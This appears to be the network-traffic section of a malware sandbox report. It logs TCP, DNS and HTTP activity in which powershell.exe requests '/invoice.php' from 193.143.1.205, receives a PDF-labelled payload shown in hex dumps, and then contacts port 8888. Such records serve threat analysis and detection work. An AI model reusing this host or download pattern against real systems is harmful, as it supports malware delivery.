Jan 10, 2025 20:29:26.471460104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.471470118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.471472979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.471518040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501327991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501343966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501357079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501370907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501383066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501456976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501480103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501492023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501496077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501503944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501513958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501517057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501523972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501533031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501547098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501548052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501564980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501574993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501575947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501585960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501589060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501595974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501606941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501615047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501616955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501627922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501638889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501645088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501683950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501701117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501709938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501719952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501730919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.501734018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.501760960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.532877922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.532901049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.532911062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.532922983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.532941103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.532951117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.532960892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.532972097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.532989025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.532989025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.532999992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533010006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533020973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533030987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533047915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533055067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533057928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533070087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533078909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533082962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533090115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533101082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533104897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533113003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533124924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533143044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533183098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533194065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533204079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533214092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533225060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533248901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533289909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533299923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533317089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533327103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533329010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533339977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533351898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533354998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533385038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533512115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533521891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533533096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533544064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533550978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533554077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533570051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533570051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533581972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533591986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533595085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533601999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533612013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533616066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533622026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533632994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533637047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533643007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533653975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533655882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533679008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533838987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533849955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533869028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533870935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533879995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533890963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533900023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533900976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533910990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533922911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533922911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533958912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.533972025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533982038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.533993959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534003019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534027100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534054041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534065008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534075975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534086943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534105062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534132957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534147978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534158945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534176111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534187078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534188986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534198999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534228086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534344912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534356117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534365892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534375906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534379959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534388065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534398079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534409046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534410954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534419060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534427881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534429073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534440041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534450054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534452915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534460068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534461021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534485102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534596920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534607887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534620047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534643888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534651041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534658909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534668922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534679890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534689903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534699917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534702063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534709930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.534718037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.534749985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.562215090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.562232971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.562238932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.562249899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.562264919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.562321901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.562376022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.627722979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.632864952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632885933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632898092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632903099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632909060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632914066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632920027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632925987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632936001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632951975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632963896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632973909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632983923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.632988930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.632997036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633012056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633023024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633033991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633042097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633044004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633054018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633059978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633064985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633074999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633079052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633093119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633100033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633104086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633114100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633125067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633136988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633142948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633147001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633157015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633167982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633169889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633177996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633188009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633191109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633198023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633209944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633210897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633220911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633224964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633230925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633241892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633251905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633263111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633265972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633274078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633287907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633289099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633300066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.633308887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.633328915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.929364920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:27.431370974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:27.866802931 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:27.871737957 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:27.871860027 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:27.872178078 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:27.876977921 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:28.657821894 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:28.709764957 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:28.845860004 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:53.514592886 CET	64872	53	192.168.2.5	162.159.36.2
Jan 10, 2025 20:29:53.519551992 CET	53	64872	162.159.36.2	192.168.2.5
Jan 10, 2025 20:29:53.519794941 CET	64872	53	192.168.2.5	162.159.36.2
Jan 10, 2025 20:29:53.524735928 CET	53	64872	162.159.36.2	192.168.2.5
Jan 10, 2025 20:29:54.107292891 CET	64872	53	192.168.2.5	162.159.36.2
Jan 10, 2025 20:29:54.119788885 CET	53	64872	162.159.36.2	192.168.2.5
Jan 10, 2025 20:29:54.119904041 CET	64872	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:29:40.743350029 CET	61118	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:29:53.513704062 CET	53	61003	162.159.36.2	192.168.2.5
Jan 10, 2025 20:29:54.305393934 CET	53097	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:29:54.312625885 CET	53	53097	1.1.1.1	192.168.2.5
Jan 10, 2025 20:29:54.381323099 CET	64129	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:29:40.743350029 CET	192.168.2.5	1.1.1.1	0xf48	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:29:54.305393934 CET	192.168.2.5	1.1.1.1	0x8dd9	Standard query (0)	241.42.69.40.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 20:29:54.381323099 CET	192.168.2.5	1.1.1.1	0x9952	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:29:40.752023935 CET	1.1.1.1	192.168.2.5	0xf48	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:29:54.312625885 CET	1.1.1.1	192.168.2.5	0x8dd9	Name error (3)	241.42.69.40.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 20:29:54.388264894 CET	1.1.1.1	192.168.2.5	0x9952	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	7100	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:29:25.054769039 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:29:25.866485119 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:29:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:29:25.866672039 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:29:25.866688967 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:29:25.866699934 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 20:29:25.866709948 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
